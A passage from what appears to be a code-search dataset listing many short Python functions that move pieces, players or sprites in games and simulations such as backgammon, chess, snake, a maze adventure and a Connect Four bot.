board_array[25][1] += 1\n else:\n board_array[old_point][1] -= 1\n board_array[new_point][1] += 1\n if(board_array[new_point][0] == 1): #Handle hits\n board_array[new_point][0] -= 1\n board_array[0][0] += 1\n\n draw_draughts()\n if(die_1_num == 0 and die_2_num == 0):\n comp_turn()","def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)","def moveEast(self):\n east = (self.current[0] + 1, self.current[1])\n mv = self.lab.east()\n self.check_grue(mv)\n self.current = east\n self.visited.add(self.current)","def moveEast(self):\n self._move('e', Tile.HorizontalDifference)","def move(self):\n if self.adjustment > 0:\n # The player moves up a ladder\n old_position = self.position\n # In the next move, player on top of ladder\n\n self.position = old_position - self.dropped_steps\n # player drops steps\n super().move()\n # player move\n die = self.position - old_position + self.dropped_steps - \\\n self.adjustment\n \"\"\" \n the current position of the player is: old position - \n dropped_steps + die + adjustment. Rearranging to find the die.\n \n \"\"\"\n if die < self.dropped_steps:\n self.position = old_position\n # if die is less than dropped_steps, the player will stand still.\n else:\n super().move()\n # if not climbling a ladder, then the player make a regular move","def fireEast(self):\n self.rotate('e')\n gun = Laser(self)\n gun.shoot('e')\n self.agent.actionCompleted()","def move_south(self):\r\n self.move(dx=0, dy=1)","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move","def move(self):\n if self._z >= 75:\n a = random.random()\n print(str(a))\n if a < 0.2:\n self._z += 1\n if a > 0.2 and a < 0.9:\n self._z -= 1\n if a > 0.9:\n self._z = self._z\n else: \n self._z -= 1\n \n b = random.random()\n print(str(b))\n if b < 0.1:\n self._y += 1\n if b > 0.1 and b < 0.2:\n self._y -= 1\n if b > 0.2 and b < 0.25:\n self._x -= 1\n if b > 0.25:\n self._x += 1","def do_west(self, arg):\r\n moveDirection('west')","def move(self):\n pass","def move_west(self):\r\n self.move(dx=-1, dy=0)","def migration(self):\n\n coordinates = self.get_random_coordinates()\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cell_move_herbivores(coordinate)\n self.cell_move_carnivores(coordinate)\n\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cells[coordinate].move_new_animals()","def move_south(self):\n self.vertical = (self.vertical * 2)[3:7]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]","def move_down():\n return __maze.move_down()","def moveSouth(self):\n self._move('s', Tile.VerticalDifference)","def move(self):\n self.pos += self.direc\n self.nearest_node = self.pixel_to_node()","def move(self):\n x = y = z = 0.0\n for cell in self.cells:\n x += (cell.x)#*n\n y += (cell.y)#*n\n z += (cell.z)#*n\n np = float(len(self.cells))\n med = numpy.array([x/np,y/np,z/np])\n \n dists = []\n for cell in self.cells:\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\n d = numpy.sqrt(d)\n dists.append(d)\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\n #dists[-1] = (dists[-1]+md)/2\n cell = self.cells[numpy.argmin(dists)]\n cc = numpy.array([cell.x, cell.y, cell.z])\n \n t = self.t\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\n t = self.tr\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\n self.x,self.y,self.z = self.center = self.center + self.dcenter","def steerright(self):\n self.direction = self.direction-self.steering\n if self.direction < 0:\n self.direction = 360-90\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)","def move_west(self):\n self.horizontal = (self.horizontal * 2)[1:5]\n self.vertical[0] = self.horizontal[1]\n self.vertical[2] = self.horizontal[3]","def turn(self):\r\n # 1 throw the dice\r\n if (\r\n not self.player_list[self.current_player].is_in_jail()\r\n or self.try_leave_jail()\r\n ):\r\n thr = Throw()\r\n while thr is not None:\r\n # check in where the current player will land\r\n new_position = self.compute_new_position_from_dice(\r\n self.current_player, thr\r\n )\r\n self.move_player_to(self.current_player, new_position, thr=thr)\r\n\r\n if thr.is_double():\r\n thr = Throw()\r\n else:\r\n thr = None\r\n print(\"------------------------------\")\r\n\r\n self.player_observable_variables()\r\n\r\n # move turn to next player\r\n self.current_player += 1\r\n if self.current_player >= len(self.player_list):\r\n self.current_player = 0\r\n self.full_turn_count += 1\r\n print(\"**********************\")\r\n print(\r\n \"Full turn:\",\r\n self.full_turn_count,\r\n \"\\n\",\r\n \"\\n\".join(map(lambda x: x.full(), self.player_list)),\r\n )\r\n print(\"**********************\")","def make_move(self, move):\n self.board[int(move) - 1] = self.nplayer","def move_tie_fighters(self):\n for i in range(len(self.tie_fighters)):\n self.tie_fighters[i].move_tie_fighter()","def move_marble(self, coordinates, direction):\n pass","def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \n #provjere da li su kraljevi ili topovi inicirali pomijeranje\n if(from_row == 7 and from_col == 0):\n self.wrl_moved = True\n elif(from_row == 7 and from_col == 7):\n self.wrr_moved = True\n elif(from_row == 7 and from_col == 4):\n self.wk_moved = True\n elif(from_row == 0 and from_col == 0):\n self.brl_moved = True\n elif(from_row == 0 and from_col == 7):\n self.brr_moved = True\n elif(from_row == 0 and from_col == 4):\n self.bk_moved = True\n \n #provjera da li je neko pojeo topove\n if(to_row == 7 and to_col == 0):\n self.wrl_moved = True\n elif(to_row == 7 and to_col == 7):\n self.wrr_moved = True\n elif(to_row == 0 and to_col == 0):\n self.brl_moved = True\n elif(to_row == 0 and to_col == 7):\n self.brr_moved = True","def make_move(self, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\r\n return height, index\r\n else:\r\n while not self.stat_brain.is_valid(height, index, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n return height, index","def move(self):\n assert self.is_alive, \"Sprite is dead, and should not be able to move\"\n if self.health > 3:\n self.y += random.randint(-1, 1) # change by -1, 0, 1\n self.x += random.randint(-1, 1) # change by -1, 0, 1\n print(self.name, \"moves to position\", str(self.x), \",\", str(self.y))","def _move_randomly(self):\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\n wiz1, wiz2 = self.state[a], self.state[b]\n self._swap_wizards(wiz1, wiz2)","def move(self):\n self._move_range_shuffle(3)\n self._move_satisfy_random_constraint()\n # self._move_range_shuffle(3)\n #if (curr_energy > 50):\n # self._move_satisfy_random_constraint()\n #else:\n # self._move_range_shuffle(3)","def do_south(self, arg):\r\n moveDirection('south')","def move(self, direction):\n newx = self.x\n newy = self.y\n newy += random.randint(-1, 1)\n newx += random.randint(-1, 1)\n if self.tmap.contents[newy][newx] != '#':\n self.x = newx\n self.y = newy","def move_lift_ground():\n return _move_lift(0)","def move(x,y):\r\n pass","def move(self, dx, dy):\r\n self.corner.x += dx\r\n self.corner.y += dy","def move_repeatedly():\n check = check50.run(run_command)\n check.stdin(\"WEST\").stdout(room_2_description)\n check.stdin(\"EAST\").stdout(room_1_name)\n check.stdin(\"WEST\").stdout(room_2_name)","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, direction: str) -> int:\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\n # print(x,y)\n # went out bound\n if x >= self.n or y >= self.m or x < 0 or y < 0:\n return -1\n tail = self.snake.popleft()\n self.snake_set.discard(tail)\n if (x, y) in self.snake_set:\n return -1\n\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\n self.food.popleft()\n self.snake.appendleft(tail)\n self.snake_set.add(tail)\n self.snake.append((x, y))\n self.snake_set.add((x, y))\n\n return len(self.snake) - 1","def moveSouth(self):\n south = (self.current[0], self.current[1] + 1)\n mv = self.lab.south()\n self.check_grue(mv)\n self.current = south\n self.visited.add(self.current)","def test_move_onto_terrain(self):\n # move onto Water (1 extra)\n b1 = board.Board(self.small_ter)\n start = np.array((0, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 2\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 2)\n\n # move onto Lava (4 extra)\n start = np.array((3, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 0\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 5)\n\n # move onto Barrier (illegal)\n start = np.array((1, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 1\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)\n\n # move onto Rock (illegal)\n start = np.array((1, 0), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 7\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)","def fireSouth(self):\n self.rotate('s')\n gun = Laser(self)\n gun.shoot('s')\n self.agent.actionCompleted()","def move_north(self):\r\n self.move(dx=0, dy=-1)","def _change_fleet_direction(self): \n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def move_to_position2(self):","def move_all_animals(self):\n\n y_lim, x_lim = np.shape(self.map)\n for y in range(y_lim):\n for x in range(x_lim):\n loc = y, x\n self.map[loc].migration(self.get_neighbour((y, x)))","def _change_fleet_direction(self):\n\t\tfor auto in self.autos.sprites():\n\t\t\tauto.rect.y -= self.settings.fleet_rise_speed\n\t\tself.settings.fleet_direction *= -1","def jump(self):\r\n if self.grounded == True:\r\n self.vel.y = -13","def hanoi_tower(n):\n def move_tower(height, from_pole, to_pole, with_pole):\n if height >= 1:\n move_tower(height-1, from_pole, with_pole, to_pole)\n move_disc(from_pole, to_pole, height)\n move_tower(height-1, with_pole, to_pole, from_pole)\n\n def move_disc(fp, tp, height):\n tp.append(fp.pop())\n show_poles()\n\n def show_poles():\n line = \"\"\n line += '{:<{}s}'.format(str(a), str_len)\n line += '{:<{}s}'.format(str(b), str_len)\n line += '{:<{}s}'.format(str(c), str_len)\n print(line)\n\n a = list(range(n, 0, -1))\n b = []\n c = []\n str_len = len(str(a))\n\n show_poles()\n move_tower(n, a, c, b)\n print('\\n')","def move_down(self):\n if self.center.y > (self.height / 2):\n self.center.y -= 5","def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\n if self._z >= 75:\n a = random.randint(1, 100)\n# print(str(a))\n if a <= abz_increase:\n self._z += 1\n if a > abz_increase and a <= (abz_increase + abz_decrease):\n self._z -= 1\n if a > (abz_increase + abz_decrease):\n self._z = self._z\n else:\n c = random.randint(1, 100)\n# print(str(c))\n if c <= bbz_increase:\n self._z += 1\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\n self._z -= 1\n if c > (bbz_increase + bbz_decrease):\n self._z = self._z\n self._z -= 1\n \n b = random.randint(1, 100)\n# print(str(b))\n if b <= north:\n self._y += 1\n if b > north and b <= (north + south):\n self._y -= 1\n if b > (north + south) and b <= (north + south + west):\n self._x -= 1\n if b > (north + south + west):\n self._x += 1","def move(self):\n \n # checks for bots nearby\n next_move = self.follow()\n \n # finds a random move if no bot\n if next_move is self.position:\n self.position = self.wander()\n else:\n self.position = next_move","def fireWest(self):\n self.rotate('w')\n gun = Laser(self)\n gun.shoot('w')\n self.agent.actionCompleted()","def movement(self):","def AeroMove(self, pos):\r\n\r\n pass","def _move_tetrino(self, tetrino, x, y):\n tetrino.location_offset[constant.X] += x\n tetrino.location_offset[constant.Y] += y\n tetrino.update_location()","def move(t, length):\n pu(t)\n\t\n fd(t, length)\n pd(t)","def move_up():\n return __maze.move_up()","def move(self):\n \n self.position = self.explore()","def move_to_position1(self):","def make_turn(self):\n # if play first, start in the middle\n if np.count_nonzero(self.board) == 0:\n self.place_disc(self.board.shape[1] / 2)\n return 1\n\n\n # win if possible\n for try_column in range(0,self.board.shape[1]):\n if 0 == self.board[0, try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\n if dhw.did_he_win(new_board, self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't loose if in danger\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't fall in trap!\n forbidden_columns = []\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # don't ruin my trap\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\n if dhw.did_he_win(new_board, self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # allow forbidden_columns if no other choice\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\n forbidden_columns = []\n\n # otherwise, play randomly\n rannum = random.randrange(7)\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\n rannum = random.randrange(7)\n self.place_disc(rannum)\n return 1","def moveWest(self):\n self._move('w', - Tile.HorizontalDifference)","def test_move_over_terrain(self):\n # move over Water (0 extra)\n b1 = board.Board(self.small_ter)\n start = np.array((0, 1), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 1\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)\n #\n # move over Lava (0 extra)\n start = np.array((5, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 6\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)\n #\n # move over Barrier (illegal)\n start = np.array((2, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 0\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)\n #\n # move over Rock (0 extra)\n start = np.array((2, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 2\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)","def move(self, row, col, player):","def make_move(self, direction):\r\n\t\tif direction == 0:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x -= 1\r\n\r\n\t\telif direction == 1:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\r\n\t\t\tself.y += 1\r\n\r\n\t\telif direction == 2:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x += 1\r\n\r\n\t\telif direction == 3:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\r\n\t\t\tself.y -= 1","def turn_ship_right(self):\n self.degrees -= movement","def move_north(self):\n self.vertical = (self.vertical * 2)[1:5]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]","def _move_down(self):\n new_pos = self._pos + _Vec3(0, -1, 0)\n block_ = self._get_block(new_pos)\n if block_ != _WATER:\n self._add_to_inv(block_)\n self._move(new_pos)","def _change_fleet_direction(self):\n\t\tfor alien in self.aliens.sprites():\n\t\t\talien.rect.y += self.settings.fleet_drop_speed\n\t\tself.settings.fleet_direction*=-1","def move_draught(event):\n global red_turn\n if(red_turn == False):\n return\n draught = board.find_withtag(CURRENT)[0]\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)","def move_to(self, x, y):\r\n self.__current_room = x, y","def moveNorth(self):\n self._move('n', - Tile.VerticalDifference)","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def move(event):\r\n\t\tif event.char == \"a\":\r\n\t\t\tcanvas.move(z[a], -10, 0)\r\n\t\telif event.char == \"d\":\r\n\t\t\tcanvas.move(z[a], 10, 0)\r\n\t\telif event.char == \"w\":\r\n\t\t\tcanvas.move(z[a], 0, -10)\r\n\t\telif event.char == \"s\":\r\n\t\t\tcanvas.move(z[a], 0, 10)","def domove(self, depart, arrivee, promote):\n\n # Debugging tests\n # if(self.cases[depart].isEmpty()):\n # print('domove() ERROR : asked for an empty square move : ',depart,arrivee,promote)\n # return \n # if(int(depart)<0 or int(depart)>63):\n # print('domove() ERROR : incorrect FROM square number : ',depart)\n # return \n # if(int(arrivee)<0 or int(arrivee)>63):\n # print('domove() ERROR : incorrect TO square number : ',arrivee)\n # return\n # if(not(promote=='' or promote=='q' or promote=='r' or promote=='n' or promote=='b')):\n # print('domove() ERROR : incorrect promote : ',promote)\n # return\n\n # Informations to save in the history moves\n pieceDeplacee = self.cases[depart] # moved piece\n piecePrise = self.cases[arrivee] # taken piece, can be null : Piece()\n isEp = False # will be used to undo a ep move\n histEp = self.ep # saving the actual ep square (-1 or square number TO)\n hist_roque_56 = self.white_can_castle_56\n hist_roque_63 = self.white_can_castle_63\n hist_roque_0 = self.black_can_castle_0\n hist_roque_7 = self.black_can_castle_7\n flagViderEp = True # flag to erase ep or not : if the pawn moved is not taken directly, it can't be taken later\n\n # Moving piece\n self.cases[arrivee] = self.cases[depart]\n self.cases[depart] = Piece()\n\n self.ply += 1\n\n # a PAWN has been moved -------------------------------------\n if (pieceDeplacee.nom == 'PION'):\n\n # White PAWN\n if (pieceDeplacee.couleur == 'blanc'):\n\n # If the move is \"en passant\"\n if (self.ep == arrivee):\n piecePrise = self.cases[arrivee + 8] # take black pawn\n self.cases[arrivee + 8] = Piece()\n isEp = True\n\n # The white pawn moves 2 squares from starting square\n # then blacks can take \"en passant\" next move\n elif (self.ROW(depart) == 6 and self.ROW(arrivee) == 4):\n self.ep = arrivee + 8\n flagViderEp = False\n\n # Black PAWN\n else:\n\n if (self.ep == arrivee):\n piecePrise = self.cases[arrivee - 8]\n self.cases[arrivee - 8] = Piece()\n isEp = True\n\n elif (self.ROW(depart) == 1 and self.ROW(arrivee) == 3):\n self.ep = arrivee - 8\n flagViderEp = False\n\n # a ROOK has been moved--------------------------------------\n # update castle rights\n\n elif (pieceDeplacee.nom == 'TOUR'):\n\n # White ROOK\n if (pieceDeplacee.couleur == 'blanc'):\n if (depart == 56):\n self.white_can_castle_56 = False\n elif (depart == 63):\n self.white_can_castle_63 = False\n\n # Black ROOK\n else:\n if (depart == 0):\n self.black_can_castle_0 = False\n elif (depart == 7):\n self.black_can_castle_7 = False\n\n # a KING has been moved-----------------------------------------\n\n elif (pieceDeplacee.nom == 'ROI'):\n\n # White KING\n if (pieceDeplacee.couleur == 'blanc'):\n\n # moving from starting square\n if (depart == 60):\n # update castle rights\n self.white_can_castle_56 = False\n self.white_can_castle_63 = False\n\n # If castling, move the rook\n if (arrivee == 58):\n self.cases[56] = Piece()\n self.cases[59] = Piece('TOUR', 'blanc')\n\n elif (arrivee == 62):\n self.cases[63] = Piece()\n self.cases[61] = Piece('TOUR', 'blanc')\n\n # Black KING\n else:\n\n if (depart == 4):\n self.black_can_castle_0 = False\n self.black_can_castle_7 = False\n\n if (arrivee == 6):\n self.cases[7] = Piece()\n self.cases[5] = Piece('TOUR', 'noir')\n\n elif (arrivee == 2):\n self.cases[0] = Piece()\n self.cases[3] = Piece('TOUR', 'noir')\n\n # End pieces cases-----------------------------------------------\n\n # Any move cancels the ep move\n if (flagViderEp == True):\n self.ep = -1\n\n # Promote : the pawn is changed to requested piece\n if (promote != ''):\n if (promote == 'q'):\n self.cases[arrivee] = Piece('DAME', self.side2move)\n elif (promote == 'r'):\n self.cases[arrivee] = Piece('TOUR', self.side2move)\n elif (promote == 'n'):\n self.cases[arrivee] = Piece('CAVALIER', self.side2move)\n elif (promote == 'b'):\n self.cases[arrivee] = Piece('FOU', self.side2move)\n\n # Change side to move\n self.changeTrait()\n\n # Save move to the history list\n self.history.append((depart, \\\n arrivee, \\\n pieceDeplacee, \\\n piecePrise, \\\n isEp, \\\n histEp, \\\n promote, \\\n hist_roque_56, \\\n hist_roque_63, \\\n hist_roque_0, \\\n hist_roque_7))\n\n # If the move lets king in check, undo it and return false\n if (self.in_check(self.oppColor(self.side2move))):\n self.undomove()\n return False\n\n return True","def walk(self):\n # === Choose direction ===\n # Increase probability of movement relative to map dimensions\n v_move = self.width / self.height\n h_move = self.height / self.width\n north, south, east, west = v_move, v_move, h_move, h_move\n\n # Weight the random walk against the edges\n if self.drunkard_x < self.width * 0.25: # far left side of map\n east += self.weighted_toward_center\n elif self.drunkard_x > self.width * 0.75: # far right side of map\n west += self.weighted_toward_center\n if self.drunkard_y < self.height * 0.25: # top of the map\n south += self.weighted_toward_center\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\n north += self.weighted_toward_center\n\n # Weight in favor of the previous direction\n if self._prev_direction == \"north\":\n north += self.weighted_toward_prev_direction\n if self._prev_direction == \"south\":\n south += self.weighted_toward_prev_direction\n if self._prev_direction == \"east\":\n east += self.weighted_toward_prev_direction\n if self._prev_direction == \"west\":\n west += self.weighted_toward_prev_direction\n\n weights = [south, north, east, west]\n moves = {\"south\": (0, 1), \"north\": (0, -1), \"east\": (1, 0), \"west\": (-1, 0)}\n\n direction = choices(list(moves.keys()), weights)[0]\n dx, dy = moves[direction]\n\n # === Walk ===\n # check collision at edges\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\n self.drunkard_x += dx\n self.drunkard_y += dy\n if self.tiles[self.drunkard_x][self.drunkard_y]:\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\n self._tiles_filled += 1\n self._prev_direction = direction","def force_move():\n if ZERO_BASE_PLYR_POS in range(0, 10):\n # we cant go up, so go down\n move_player(\"south\")\n else:\n move_player(\"north\")","def turn_right(self):\n self.facing_direction += self.config\n if self.facing_direction > 7:\n self.facing_direction -= 8\n self.x, self.y = self.compute_positions()","def move(self, direction):\n # replace with your code\n pass","def move(self, direction):\n # replace with your code\n pass","def move_random(self, board: Board) -> None:\n rnd_move_idx = randint(0,4)\n # moves: stay, up, left, right, down\n moves = [[0,0], [0,-1], [-1,0], [1,0], [0,1]]\n\n if board.can_position_at(self.x + moves[rnd_move_idx][0], self.y + moves[rnd_move_idx][1]):\n board.set_element_at_position(0, self.x, self.y)\n self.x += moves[rnd_move_idx][0]\n self.y += moves[rnd_move_idx][1]\n board.set_element_at_position(3, self.x, self.y)\n print(\"Bomberman moved to [\", self.x, \",\", self.y, \"]\")","def move(self, direction: str) -> int:\n (i, j), _ = self.position.popitem(last=True) # current position\n self.position[(i, j)] = 0 # add back \n if direction == \"U\": i -= 1\n elif direction == \"L\": j -= 1\n elif direction == \"R\": j += 1\n else: i += 1\n if self.food and self.food[0] == [i, j]: self.food.popleft()\n else: self.position.popitem(last=False)\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \n self.position[(i, j)] = 0\n return len(self.position)-1","def moveDown():\n tt.right(90)\n tt.forward(60)\n tt.right(90)\n tt.forward(250)\n tt.right(180)","def move (self):\n\t\tself.x += self.direction[0]\n\t\tself.y += self.direction[1]\n\t\tself.row = (self.y - 15) / 30\n\t\tself.col = (self.x - 15) / 30\n\t\tself.rowcol = (self.row,self.col)\n\t\tself.draw()","def step(self, move):","def go_up(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tMario._pass(self.x,self.y)\n\t\ttemp = self.x\n\t\tflag = 0\n\t\twhile(temp>=self.x-8):\n\t\t\tif(Board.board[temp][self.y] in obstacles):\n\t\t\t\tflag = 1\n\t\t\t\ttemp_x = temp+1\n\t\t\t\tbreak\n\t\t\ttemp = temp-1\n\n\t\tif(not flag):\n\t\t\ttemp_x = self.x-8\n\n\t\tif Board.board[temp_x-1][self.y]=='B':\n\t\t\tnew = self.y\n\t\t\tfor i in range(new-4,new+5):\n\t\t\t\tif Board.board[temp_x-1][i]=='B':\n\t\t\t\t\tBoard.board[temp_x-1][i]='T'\n\t\t\tMario.bonus+=50\n\t\t\tif self.y==229 or self.y ==230 or self.y==231:\n\t\t\t\tBoard.board[23][230]='P'\n\n\n\t\tBoard.board[temp_x][self.y] = 'M'\t\t\n\t\tos.system('clear')\n\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def move(self):\n c = self.get_position()\n\n f = c['f']\n if f == 'NORTH':\n c['y'] += 1\n elif f == 'EAST':\n c['x'] += 1\n elif f == 'SOUTH':\n c['y'] -= 1\n elif f == 'WEST':\n c['x'] -= 1\n\n if self.valid_position(c):\n self.update_position(c)\n else:\n raise ValueError('InvalidPosition')","def make_move(self, row, column):\n\t\tif self.board[int(row)][int(column)] == '-':\n\t\t\tself.board[int(row)][int(column)] = self.marker\n\t\telse:\n\t\t\tprint(\"That spot is occupied, you messed up, you lose your turn for doing bad things\")","def moveRight(self,board_object):\n\t\tif checkClash(board_object,self,self.x,self.y+1) == 0:\n\t\t\toverlayMatrix(board_object,self,self.x,self.y+1)\n\t\t\tself.setPos(self.x,self.y+1)\n\t\t\tif self.y > board_object.start + 25: \n\t\t\t\tboard_object.start += 1\n\t\telse:\n\t\t\treturn 1"],"string":"[\n \"def move_east(self):\\r\\n self.move(dx=1, dy=0)\",\n \"def move(self):\\n \\n self.position = self.wander()\",\n \"def move(self):\\r\\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\\r\\n self.y += 1\\r\\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\\r\\n self.x += 1\\r\\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\\r\\n self.y -= 1\\r\\n elif self.d == 'WEST' and (self.x - 1) >= 0:\\r\\n self.x -= 1\\r\\n else:\\r\\n print(\\\"Edge of Table Reached!\\\")\",\n \"def throw(self, move):\\n for dice_index in move:\\n self.dice[dice_index - 1] = random.randint(1,6)\",\n \"def do_east(self, arg):\\r\\n moveDirection('east')\",\n \"def move(self):\\n if random.random() < 0.5:\\n self.y = (self.y + 1) % 100\\n else:\\n self.y = (self.y - 1) % 100\\n if random.random() < 0.5:\\n self.x = (self.x + 1) % 100\\n else:\\n self.x = (self.x - 1) % 100\",\n \"def shift_board(self, dx, dy):\\n self.board = np.roll(self.board, dy, axis=0)\\n self.board = np.roll(self.board, dx, axis=1)\\n self.agent_locs += [dy, dx]\\n self.agent_locs %= self.board.shape\\n self.update_exit_locs()\",\n \"def move(self):\\n\\n # get the location we WOULD go to\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\\n # print(\\\"choosing new direction... \\\",end=\\\"\\\")\\n self.chooseNewDirection()\\n # print(self.dx, self.dy)\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n\\n # now move our monster\\n super().move()\",\n \"def _move(self, event):\\n if self._current_tower.get_value() > self._coins:\\n return\\n\\n #move the shadow tower to mouse position\\n position = event.x, event.y\\n self._current_tower.position = position\\n\\n legal, grid_path = self._game.attempt_placement(position)\\n\\n #find the best path and covert positions to pixel positions\\n path = [self._game.grid.cell_to_pixel_centre(position)\\n for position in grid_path.get_shortest()]\\n\\n #Task 1.2 (Tower placement): Draw the tower preview here\\n self._view.draw_preview(self._current_tower, legal)\\n self._view.draw_path(path)\",\n \"def move_draught_end(event):\\n global red_draughts, white_draughts\\n global board_array\\n global old_point\\n global die_1_num, die_2_num, doubles\\n draught = board.find_withtag(CURRENT)[0]\\n #Figure out which point they want to put it on\\n bottom = (event.y-click_offset[1] >= board_height//2)\\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\\n is_red = draught in red_draughts\\n if bottom == False:\\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\\n else:\\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda 